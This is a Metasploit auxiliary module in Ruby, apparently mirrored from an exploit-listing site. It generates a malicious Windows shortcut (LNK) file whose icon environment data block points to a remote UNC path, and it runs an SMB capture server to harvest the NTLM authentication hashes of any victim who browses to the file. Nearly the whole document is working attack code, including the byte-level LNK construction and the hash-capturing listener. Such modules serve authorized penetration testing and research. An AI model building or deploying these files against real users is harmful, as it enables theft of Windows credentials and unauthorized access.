Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'faker'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Remote::Relay::NTLM::HashCapture

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',
        'Description' => %q{
          This module creates a malicious Windows shortcut (LNK) file that
          specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)
          that can trigger an authentication attempt to a remote server. This can be used
          to harvest NTLM authentication credentials.

          When a victim browse to the location of the LNK file, it will attempt to
          connect to the the specified UNC path, resulting in an SMB connection that
          can be captured to harvest credentials.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nafiez', # Original POC & MSF Module
        ],
        'References' => [
          ['URL', 'https://zeifan.my/Right-Click-LNK/']
        ],
        'Platform' => 'win',
        'Targets' => [
          ['Windows', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-05-16',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => []
        }
      )
    )

    register_options([

      OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
      OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),
      OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])
    ])
  end

  def run
    description = datastore['DESCRIPTION']
    icon_path = datastore['ICON_PATH']

    description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?

    icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?

    start_smb_capture_server
    unc_share = datastore['SHARE']
    unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
    unc_path = "\\\\#{srvhost}\\\\#{unc_share}"
    lnk_data = create_lnk_file(description, icon_path, unc_path)
    filename = file_create(lnk_data)
    print_good("LNK file created: #{filename}")
    print_status("Listening for hashes on #{srvhost}")

    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

  def create_lnk_file(description, icon_path, unc_path)
    data = ''.b

    # LNK header - 76 bytes
    header = "\x4C\x00\x00\x00".b

    # LinkCLSID (00021401-0000-0000-C000-000000000046)
    header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b

    # Define LinkFlags
    link_flags = 0x00000000
    link_flags |= 0x00000004  # HAS_NAME
    link_flags |= 0x00000020  # HAS_ARGUMENTS
    link_flags |= 0x00000040  # HAS_ICON_LOCATION
    link_flags |= 0x00000080  # IS_UNICODE
    link_flags |= 0x00004000  # HAS_EXP_ICON

    header += [link_flags].pack('V')

    # FileAttributes (FILE_ATTRIBUTE_NORMAL)
    header += "\x20\x00\x00\x00".b

    # CreationTime, AccessTime, WriteTime (zeroed)
    header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3

    # FileSize
    header += "\x00\x00\x00\x00".b

    # IconIndex
    header += "\x00\x00\x00\x00".b

    # ShowCommand (SW_SHOWNORMAL)
    header += "\x01\x00\x00\x00".b

    # HotKey
    header += "\x00\x00".b

    # Reserved fields
    header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b

    # Add the header to our binary data
    data += header

    # NAME field (description in Unicode)
    description_utf16 = description.encode('UTF-16LE').b
    data += [description_utf16.bytesize / 2].pack('v')
    data += description_utf16

    # ARGUMENTS field (command line arguments in Unicode)
    padding_size = datastore['PADDING_SIZE']
    cmd_args = ' ' * padding_size
    cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
    data += [cmd_args_utf16.bytesize / 2].pack('v')
    data += cmd_args_utf16

    # ICON LOCATION field (icon path in Unicode)
    icon_path_utf16 = icon_path.encode('UTF-16LE').b
    data += [icon_path_utf16.bytesize / 2].pack('v')
    data += icon_path_utf16

    # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
    env_block_size = 0x00000314  # Total size of this block
    env_block_sig = 0xA0000007   # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE

    data += [env_block_size].pack('V')
    data += [env_block_sig].pack('V')

    # Create fixed-size ANSI buffer with nulls
    ansi_buffer = "\x00".b * 260

    # Copy the UNC path bytes into the buffer
    unc_path.bytes.each_with_index do |byte, i|
      ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
    end

    data += ansi_buffer

    # Target field in Unicode (520 bytes)
    unc_path_utf16 = unc_path.encode('UTF-16LE').b

    # Create fixed-size Unicode buffer with nulls
    unicode_buffer = "\x00".b * 520

    # Copy the UTF-16LE encoded UNC path bytes into the buffer
    unc_path_utf16.bytes.each_with_index do |byte, i|
      unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
    end

    data += unicode_buffer

    data += "\x00\x00\x00\x00".b

    data
  end

  def start_smb_capture_server
    start_service
  end

end